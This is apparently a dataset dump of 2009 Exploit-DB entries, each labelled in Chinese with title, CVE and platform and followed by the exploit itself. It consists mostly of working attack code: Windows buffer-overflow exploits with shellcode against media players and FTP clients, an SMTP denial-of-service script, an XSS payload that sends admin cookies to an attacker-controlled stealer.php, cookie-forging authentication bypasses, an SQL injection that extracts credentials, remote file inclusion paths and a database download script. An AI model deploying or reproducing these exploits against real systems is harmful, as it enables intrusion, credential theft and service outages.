QLWD/code_shield huggingface dataset:
标题: Sorinara Streaming Audio Player 0.9 - '.m3u' Local Stack Overflow EDB-ID: 8620 CVE: 2009-2568 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/perl
# Streaming Audio Player 0.9 (.M3U File) Local Stack Core Exploit
# Credit : http://www.milw0rm.com/exploits/8617 cyber-zone
# By Stack
# Tested On WinSp2 En / FR
use strict;
use warnings;
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x68\x74\x74\x70\x3A\x2F\x2F";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk = "\x41" x 512;
my $eip  = "\xD7\x98\x95\x7C";
my $nops = "\x90" x 24;
open(my $playlist, "> spl.m3u");
print $playlist
                    $junk.$eip.$nops.$shellcode.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8620
标题: Grabit 1.7.2 Beta 3 - '.nzb' Local Buffer Overflow (SEH) EDB-ID: 8612 CVE: 2009-1586 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/perl
# Grabit<=1.7.2 Beta 3 (.nzb) SEH Overwrite Exploit
# Coded by: Gaurav Baruah
# Discovery: Niels Teusink
#http://packetstormsecurity.org/filedesc/grabit-overflow.txt.html
# Greetz to Vivek
#Tested on XP SP3 and XP SP2 (en)
my $header1=
"<?xml version=\"1.0\"?>
<!DOCTYPE nzb
  PUBLIC \"-//newzBin//DTD NZB 1.0//EN\"
         \"";

my $shellcode=
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8".
"\x61\xfb\x36\x83\xeb\xfc\xe2\xf4\x14\x89\xbf\x36\xe8\x61\x70\x73".
"\xd4\xea\x87\x33\x90\x60\x14\xbd\xa7\x79\x70\x69\xc8\x60\x10\x7f".
"\x63\x55\x70\x37\x06\x50\x3b\xaf\x44\xe5\x3b\x42\xef\xa0\x31\x3b".
"\xe9\xa3\x10\xc2\xd3\x35\xdf\x32\x9d\x84\x70\x69\xcc\x60\x10\x50".
"\x63\x6d\xb0\xbd\xb7\x7d\xfa\xdd\x63\x7d\x70\x37\x03\xe8\xa7\x12".
"\xec\xa2\xca\xf6\x8c\xea\xbb\x06\x6d\xa1\x83\x3a\x63\x21\xf7\xbd".
"\x98\x7d\x56\xbd\x80\x69\x10\x3f\x63\xe1\x4b\x36\xe8\x61\x70\x5e".
"\xd4\x3e\xca\xc0\x88\x37\x72\xce\x6b\xa1\x80\x66\x80\x91\x71\x32".
"\xb7\x09\x63\xc8\x62\x6f\xac\xc9\x0f\x02\x9a\x5a\x8b\x61\xfb\x36";

my $next_seh = "\xEB\x06\x90\x90";
my $seh = "\xE5\x56\x01\x10" ;   #libeay32.dll
my $file = "test.nzb";

open (nzb, ">./$file") || die "\nCan't open $file: $!";
print nzb "$header1" . "\x41" x 248 . "$next_seh" . "$seh" . "$shellcode";
close (nzb);
sleep 1;
print "\nFile $file successfully created!\n";

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8612
标题: LinkBase 2.0 - Remote Cookie Grabber EDB-ID: 8618 CVE: 2009-1607 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: #################################################################################################################
[+] Download LinkBase 2.0 Cookie Grabber Exploit
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
[+] Greetz : All my friends
#################################################################################################################

[+] Make 2 files and upload to your host :

  stealer.php  - > Put the following code into the file :
 
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

  log.txt   - > CHMOD it 777 and put in the same directory with stealer.php
 
[+] Register as :

  <script>document.location ="http://[YOUR_HOST]/[path]/stealer.php?cookie=" + document.cookie;</script>

  Every time the admin will visit the "Users" menu from admin panel he will be redirected to your cookie stealer.

#################################################################################################################

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8618
标题: Sorinara Streaming Audio Player 0.9 - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8617 CVE: 2009-2568 类型: DOS 平台: WINDOWS 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/perl
#
#
# Found By : Cyber-Zone (ABDELKHALEK)
#
#
# Thanx To All Friends : Hussin X , Jiko , Stack , ZoRLu , ThE g0bL!N , r1z , Mag!c ompo , SimO-s0fT ... All MoroCCaN HaCkerS
#
# FIGUIG OwnZ !!!
#
# Streaming Audio Player 0.9  (.M3U File) Local Buffer Overflow PoC
#
#Olly Registers
#EAX 00197D20
#ECX 0000020E
#EDX 00126F84
#EBX 00193DAF
#ESP 001270B8
#EBP 7C81391C kernel32.GetFullPathNameA
#ESI 00197D20
#EDI 001272D0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EIP 41414141
#
my $Header = "#EXTM3U\n";
my $ex="http://"."A" x 509;
open(MYFILE,'>>buffer.m3u');
print MYFILE $Header.$ex;
close(MYFILE);

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8617
标题: Quick 'n Easy Mail Server 3.3 (Demo) - Remote Denial of Service (PoC) EDB-ID: 8606 CVE: 2009-1602 类型: DOS 平台: WINDOWS 发布日期: 2009-05-04 漏洞利用脚本: # ---------------------------------------------------------------
# Quick 'n Easy Mail Server 3.3 (Demo) Remote Denial of Service
# http://www.pablosoftwaresolutions.com/

# author: shinnai
# mail: shinnai[at]autistici[dot]org
# site: http://www.shinnai.net/

# When you pass a long string to the server, it checks for bof
# type attacks and answers with a:
# "<SMTP> Buffer overflow: DOS attack?"
# after 25 requests (more or less), server is unable to handle
# errors.
# An attacker can exploit this issue to trigger dos conditions.
# In case of succesful exploitation of this vulnerability,
# the server will answer to requests as below:
# "<SMTP> 421 Service not available"
#---------------------------------------------------------------"

import socket

try:
   for i in range(1,30):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      conn = s.connect(("127.0.0.1",25))
      s.send('HELO ' + "AAA@AAAAAA.COM" * 4000 + '\r\n')
      d = s.recv(1024)
      print d
      s.close
   raw_input("Done. If server is still available, try to increase the number of requests.\n\nPress enter to quit...")
except:
   raw_input("Unable to connect!\n\nPress enter to quit...")

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8606
标题: 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow EDB-ID: 8614 CVE: 2009-1592 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (Banner) Remote Buffer Overflow Exploit
#[*] Founder : Load 99%
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

payload = "\x41"*989
payload += "\x67\x86\x86\x7C" # jmp esp kernerl32.dll

 # win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8614
标题: PHP Site Lock 2.0 - Insecure Cookie Handling EDB-ID: 8604 CVE: 2009-1587 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-04 漏洞利用脚本: -------------------------------------[+]
Homepage:http://www.kalptarudemos.com
Product: PHP Site Lock 2.0
home:www.h4ckf0ru.com

-------------------------------------
PHP Site Lock 2.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------
1)javascript:document.cookie="login_id=0;path=/";
1)javascript:document.cookie="group_id=[id grroup admin];path=/";
2)javascript:document.cookie="login_name=[admin name];path=/";
3)javascript:document.cookie="user_id=[user id ];path=/";
4)javascript:document.cookie="user_type=[admin Type];path=/";
Then Go to url: http://victim/[path]/index.php

demo
----
http://www.kalptarudemos.com/demo/phpsitelock/index.php?page=adminlogin

exploit for dem0
----------------
1)javascript:document.cookie="login_id=0;path=/";
2)javascript:document.cookie="group_id=1;path=/";
3)javascript:document.cookie="login_name=admin;path=/";
4)javascript:document.cookie="user_id=1;path=/";
5)javascript:document.cookie="user_type=admin;path=/";


Note: The operation is not worked by assemble The Information :)
Put it one after one :)
--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) - His0k4- Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8604
标题: BluSky CMS - 'news_id' SQL Injection EDB-ID: 8600 CVE: 2009-1548 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-04 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
BluSky CMS  Remote SQL Injection Vulnerability
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:BluSky CMS    www.qsix.org
Demo:www.qsix.org/page-3.html
--------------------------SNAKES TEAM------------------------------------
Exploit:
--------
Demo:
http://www.qsix.org/demo/index.php?&news_act=read&news_id=-1+UNION SELECT 1,2,3,4,5,concat(username,0x3a,password),7,8+from+demo_users--
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8600
标题: Million Dollar Text Links 1.0 - Arbitrary Authentication Bypass EDB-ID: 8605 CVE: 2009-1582 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-04 漏洞利用脚本: ---------------------------------------------------------------
---------------------------------------------------------------
Million Dollar Text Links 1.0 Authenication Bypass
---------------------------------------------------------------

Founder : ThE g0bL!N
Home:WwW.h4ckF0u.CoM
Vendor:http://www.kalptarudemos.com
---------------------------------------------------------------
---------------------------------------------------------------
Million Dollar Text Links 1.0 Authenication Bypass:
------------------------------------------------
http://victim/[path]/admin.php
Then Go to
http://victim/[path]/admin.home.php
Booooooom Control Bypassed :) And You Have ALL Permission :=)

--------------------------------------
Dem0
----
http://www.kalptarudemos.com/demo/million/admin.php
--------------------------------------

Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8605
标题: Qt QuickTeam - Multiple Remote File Inclusions EDB-ID: 8602 CVE: 2009-1551 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-04 漏洞利用脚本: =-=-remote file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::quickteam 2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.qt-cute.org/download/qte2.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
vul:/qte_web.php
$qte_root = $qte_web_path;
require_once($qte_root.'bin/qte_init.php');
--
vul:/bin/qte_init.php
require_once($qte_root.'bin/config.php');
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
xpl:
path/qte_web.php?qte_web_path=shell.txt?
path/bin/qte_init.php?qte_root=shell.txt?
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork: :d
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8602
标题: Adobe Acrobat Reader 8.1.2 < 9.0 - 'getIcon()' Memory Corruption EDB-ID: 8595 CVE: 2009-0927 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-04 漏洞利用脚本: Affected Version   : Acrobat Reader 8.1.2 - 9.0
Vendor  Patch      : http://www.adobe.com/support/security/bulletins/apsb09-04.html
Tested   On        : XP SP2 / SP3

from ZDI :  http://www.zerodayinitiative.com/advisories/ZDI-09-014/

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Adobe Acrobat and Adobe Reader. User interaction is required in that a user must visit a
malicious web site or open a malicious file.The specific flaw exists when processing malicious
JavaScript contained in a PDF document. When supplying a specially crafted argument to the getIcon()
method of a Collab object, proper bounds checking is not performed resulting in a stack overflow.
If successfully exploited full control of the affected machine running under the credentials of the
currently logged in user can be achieved.

This vulnerability was discovered by:

Tenable Network Security (there is a man named Nicolas Pouvesle and we know == > he has lots of exploitation method  ; ))

Exploit By :  www.Abysssec.com

note : this exploit is just for educational purpose so shellcode will execute calc if you want other shellcode change shellcode .

Exploit Link : http://abysssec.com/Adobe.Collab.getIcon().pdf
Mirror  Link : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8595.pdf (2009-Adobe.Collab.getIcon.pdf)

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8595
标题: EW-MusicPlayer 0.8 - '.m3u' Local Buffer Overflow (PoC) EDB-ID: 8601 CVE: 2009-4757 类型: DOS 平台: WINDOWS 发布日期: 2009-05-04 漏洞利用脚本: #####################################################################################################
#                    EW-MusicPlayer0.8 (.M3U File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
#         Download : http://www.brothersoft.com/ew-musicplayer-download-97163.html
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8601
标题: RM Downloader - '.smi' Universal Local Buffer Overflow EDB-ID: 8594 CVE: 2009-4761 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #!/usr/bin/perl
# RM Downloader (.smi File) Universal Overflow Exploit
use strict;
use warnings;
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b".
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3".
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff".
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb".
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0".
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92".
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d".
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde".
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2".
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6";
my $junk = "\x41" x 26076;
my $eip  = "\x17\x48\xF8\x01"; # Universall Ret Adress
my $nops = "\x90" x 24;
open(my $playlist, "> spl.smi");
print $playlist
                    $junk.$eip.$nops.$shellcode.$junk.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8594
标题: Winn ASP Guestbook 1.01b - Remote Database Disclosure EDB-ID: 8596 CVE: 2009-4760 类型: WEBAPPS 平台: ASP 发布日期: 2009-05-04 漏洞利用脚本: #!/usr/bin/perl -w
#
# Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit
#
# Found By : ZoRLu
# 
# Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com
#
# Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInÃ½z
#
# Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N and all Friends
#
# Download : http://winn.ws/downloads/asp-guestbook-v1-01.zip



use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit');
system('color 2');


if(@ARGV < 2)
{
print "[-]Exp KullanIm HatasI\n";
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] KullanIm : perl $0 url/IP Path \n";
print "[+] if your target have a path        : perl $0 site.com /path/ \n";
print "[+] example                           : perl $0 lifelinesydney.org /asp-guestbook/ \n";
print "[+] if your target doesnt have a path : perl $0 site.com / \n";
print "[+] example                           : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\*   Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit            *\n";
print "\*             Exploited By : ZoRLu                                      *\n";
print "\*                      msn : trt-turk[at]hotmail.com                    *\n";
print "\*                     Home : yildirimordulari.com , dafgamers.com       *\n";
print "\*                      Dork: Winn ASP Guestbook from Winn.ws            *\n";
print "\*************************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="data/guestbook.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n                        WWW.YiLDiRiMORDULARi.COM\n\n";
print "\n                                   wait!!!      \n\n";

my $useragent = LWP::UserAgent->new();
my $request   = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success) 
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else 
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8596
标题: Beatport Player 1.0.0.283 - '.m3u' Local Stack Overflow (2) EDB-ID: 8591 CVE: 2009-4756 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-01 漏洞利用脚本: #exploit.py
#
# Beatport Player 1.0.0.283 (.M3U File) Local Stack Overflow Exploit
# By: Encrypt3d.M!nd
#
# Tested on : Windows xp sp2
#

chars = "\x41" * 1232

ns = "\xEB\x06\x90\x90"
sh = "\x35\x2F\xD1\x72"

nops = "\x90" * 20

# win32_exec -  EXITFUNC=thread CMD=calc.exe Size=351
Encoder=PexAlphaNum http://metasploit.com

shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x58"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x38\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x52\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x38\x42\x37\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x58\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x36"
"\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x37\x45\x56\x42\x50\x5a")



file=open('Devil_inside.m3u','w')
file.write(chars+ns+sh+nops+shellcode)
file.close()

# milw0rm.com [2009-05-01] URL: https://www.exploit-db.com/exploits/8591
标题: AGTC MyShop 3.2 - Insecure Cookie Handling EDB-ID: 8599 CVE: 2009-1549 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-04 漏洞利用脚本: =======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : AGTC MyShop v3.2b
[+] Site :www.websiteforsaleuk.co.uk
[+] Found by : Mr.tro0oqy  
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
Exploit:
--------
javascript:document.cookie="log_accept=correcto;path=/";

Demo :
------
http://www.websiteforsaleuk.co.uk/demo/admin.php


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima

all my Friends

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8599